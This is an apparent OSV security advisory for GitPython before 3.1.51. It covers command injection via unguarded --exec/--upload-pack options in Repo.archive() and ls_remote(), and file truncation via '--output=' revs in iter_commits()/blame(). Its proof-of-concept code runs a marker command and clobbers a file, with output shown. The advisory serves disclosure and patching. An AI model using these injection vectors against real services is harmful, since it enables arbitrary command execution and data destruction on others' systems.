{"id":"PYSEC-2026-3839","summary":"GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`","details":"## Summary\n\nGitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in\ngit/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this\ncheck him he is only call from fetch, pull, push and clone_from, everything else who build a git\nargv from caller values just go through, no check, three examples\n\n## Code analysis\n\nRepo.archive (git/repo/base.py:1623) do self.git.archive(\"--\", treeish, *path, **kwargs), the\ntreeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and\nthey land before it, so {\"remote\": \".\", \"exec\": \"\u003ccmd\u003e\"} give\ngit archive --remote=. --exec=\u003ccmd\u003e -- \u003crev\u003e, the --remote spawn the upload-archive helper and\n--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and\narchive already document caller kwargs (format, prefix, path) so pass a dict is normal usage\n\nrepo.git.ls_remote(url, upload_pack=\"\u003ccmd\u003e\"), same builder, same result, it's exactly the kwarg\ngap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic\nrepo.git.\u003canything\u003e(**user_dict) surface him he never got the fix\n\nRepo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev\nbefore the --, no leading-dash check, a \"branch name\" like --output=/etc/whatever become\ngit rev-list --output=... --, and git he open and truncate that file before he even validate the\nrevision, the file is gone even if the command error right after\n\n## PoC\n\nReleased 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here).\n\n```\npip install GitPython   # 3.1.50\n```\n\nCommon setup for the three:\n\n```python\nimport io, os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',\n                'commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\ntmp = tempfile.gettempdir()\n```\n\n1. exec via archive (a service exports a repo and forwards the user's options dict):\n\n```python\nm = os.path.join(tmp, 'gp_archive_check')\ntry: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] marker present:', os.path.exists(m))\n```\n```\n[*] Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n2. exec via ls_remote:\n\n```python\nm = os.path.join(tmp, 'gp_lsremote_check')\ntry: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] marker present:', os.path.exists(m))\n```\n```\n[*] Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n3. file clobber via a rev that looks like a ref:\n\n```python\nv = os.path.join(tmp, 'release_notes.txt')\nopen(v,'w').write('do not delete\\n')\nprint('[*] before:', repr(open(v).read()))\ntry: list(repo.iter_commits('--output=' + v))\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] after :', repr(open(v).read()), '\u003c- truncated')\n```\n```\n[*] before: 'do not delete\\n'\n[*] Cmd('git') failed due to: exit code(129)\n[+] after : '' \u003c- truncated\n```","aliases":["CVE-2026-67323","GHSA-956x-8gvw-wg5v"],"modified":"2026-09-10T12:15:03.995784695Z","published":"2026-09-10T09:44:50.805512Z","references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67323"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2163"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options"},{"type":"PACKAGE","url":"https://pypi.org/project/gitpython"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-956x-8gvw-wg5v"}],"affected":[{"package":{"name":"gitpython","ecosystem":"PyPI","purl":"pkg:pypi/gitpython"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.51"}]}],"versions":["0.1.7","0.2.0-beta1","0.3.0-beta1","0.3.0-beta2","0.3.1-beta2","0.3.2","0.3.2.1","0.3.2.RC1","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","1.0.0","1.0.1","1.0.2","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.9.dev0","2.0.9.dev1","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.19","3.1.2","3.1.20","3.1.22","3.1.23","3.1.24","3.1.25","3.1.26","3.1.27","3.1.28","3.1.29","3.1.3","3.1.30","3.1.31","3.1.32","3.1.33","3.1.34","3.1.35","3.1.36","3.1.37","3.1.38","3.1.4","3.1.40","3.1.41","3.1.42","3.1.43","3.1.44","3.1.45","3.1.46","3.1.47","3.1.48","3.1.49","3.1.5","3.1.50","3.1.6","3.1.7","3.1.8","3.1.9"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/gitpython/PYSEC-2026-3839.yaml"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}